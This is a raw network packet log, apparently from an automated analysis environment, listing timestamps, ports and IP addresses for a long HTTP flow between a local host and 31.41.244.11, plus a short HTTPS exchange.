Nov 23, 2024 17:46:10.795474052 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.795541048 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.795583010 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.796721935 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.796777964 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.796833038 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.796870947 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.798068047 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.798118114 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.798182011 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.798223019 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.799426079 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.799526930 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.799580097 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.800611973 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.800729036 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.800784111 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.801894903 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.801949978 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.801954985 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.803131104 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.803184032 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.803217888 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.803364038 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.804364920 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.804476976 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.804524899 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.805583954 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.805697918 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.805748940 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.806835890 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.806899071 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.806938887 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.806983948 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.808084965 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.808202982 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.808258057 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.809341908 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.809397936 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.809437037 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.809497118 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.810615063 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.810667992 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.810698032 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.810743093 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.811840057 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.811891079 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.811939001 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.811984062 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.813148022 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.813200951 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.813229084 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.813270092 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.814356089 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.814407110 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.814546108 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.814722061 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.815593004 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.815706968 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.815730095 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.815741062 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.816813946 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.816863060 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.817171097 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.817217112 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.818039894 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.818084955 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.818144083 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.818182945 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.819303989 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.819350004 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.819411039 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.819452047 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.820549965 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.820599079 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.820651054 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.820688963 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.821825027 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.821870089 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.821926117 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.822094917 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.823090076 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.823154926 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.823345900 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.823532104 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.824315071 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.824434042 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.824454069 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.824495077 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.825541973 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.825591087 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.825726032 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.825768948 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.826817989 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.826869011 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.826924086 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.826970100 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.828025103 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.828088999 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.828135014 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.828176975 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.829277039 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.829355955 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.829402924 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.829447031 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.830533028 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.830585003 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.830704927 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.830749989 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.831835985 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.831887007 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.831976891 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.832019091 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.833065987 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.833121061 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.833152056 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.833194971 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.834254980 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.834300995 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.834362030 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.834424019 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.835563898 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.835613012 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.835663080 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.835704088 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.836802959 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.836850882 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.836898088 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.836945057 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.963473082 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.963516951 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.963568926 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.963592052 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.963617086 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.963850975 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.963865042 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.963875055 CET	49912	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.963881016 CET	443	49912	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.967092037 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.967152119 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.967255116 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.967425108 CET	49917	443	192.168.2.4	13.107.246.63
Nov 23, 2024 17:46:10.967443943 CET	443	49917	13.107.246.63	192.168.2.4
Nov 23, 2024 17:46:10.988660097 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.988688946 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.988734007 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.988753080 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.988945961 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.988996029 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.989070892 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.989114046 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.990269899 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.990320921 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.990370989 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.990412951 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.991471052 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.991519928 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.991573095 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.991614103 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.992511034 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.992552996 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.992558002 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.992600918 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.993642092 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.993686914 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.993714094 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.993756056 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.994847059 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.994894028 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.994960070 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.995006084 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.996114969 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.996184111 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.996222973 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.996263981 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.997369051 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.997416973 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.997452974 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.997497082 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.998626947 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.998673916 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:10.998737097 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:10.998780012 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.000005007 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.000053883 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.000077009 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.000119925 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.001111984 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.001158953 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.001213074 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.001252890 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.002387047 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.002434969 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.002473116 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.002516985 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.003598928 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.003644943 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.003773928 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.003814936 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.004829884 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.004873037 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.004887104 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.004930973 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.006093979 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.006140947 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.006198883 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.006242990 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.007359028 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.007401943 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.007468939 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.007510900 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.008595943 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.008641005 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.008711100 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.008758068 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.009831905 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.009879112 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.009933949 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.009977102 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.011096954 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.011143923 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.011220932 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.011280060 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.012331009 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.012372971 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.012418032 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.012459040 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.013572931 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.013617992 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.013676882 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.013719082 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.014815092 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.014863968 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.014909029 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.014954090 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.016056061 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.016102076 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.016156912 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.016199112 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.017321110 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.017364025 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.017462015 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.017504930 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.018573999 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.018620968 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.018695116 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.018738031 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.019864082 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.019906044 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.020004988 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.020057917 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.021286964 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.021343946 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.021393061 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.021446943 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.022298098 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.022347927 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.022383928 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.022433043 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.023511887 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.023555040 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.023627996 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.023673058 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.024804115 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.024848938 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.024854898 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.024899006 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.026072025 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.026097059 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.026120901 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.026134968 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.027273893 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.027324915 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.027406931 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.027450085 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.028552055 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.028597116 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.028656960 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.028702974 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.029823065 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.029872894 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.029890060 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.029937029 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.031049967 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.031109095 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.031145096 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.031188965 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.032277107 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.032332897 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.032361984 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.032417059 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.033546925 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.033592939 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.033617973 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.033659935 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.034801006 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.034847021 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.034946918 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.034989119 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.036000967 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.036045074 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.036134958 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.036179066 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.037252903 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.037300110 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.037359953 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.037401915 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.038522005 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.038584948 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.038606882 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.038651943 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.039747000 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.039793015 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.039841890 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.039881945 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.040985107 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.041030884 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.041121006 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.041168928 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.042243004 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.042288065 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.042351007 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.042392969 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.043476105 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.043518066 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.043586016 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.043687105 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.044719934 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.044779062 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.044832945 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.044876099 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.045970917 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.046019077 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.046092987 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.046137094 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.047246933 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.047291994 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.047323942 CET	80	49910	31.41.244.11	192.168.2.4
Nov 23, 2024 17:46:11.047368050 CET	49910	80	192.168.2.4	31.41.244.11
Nov 23, 2024 17:46:11.048496962 CET	80	49910	31.41.244.11	192.168.2.4
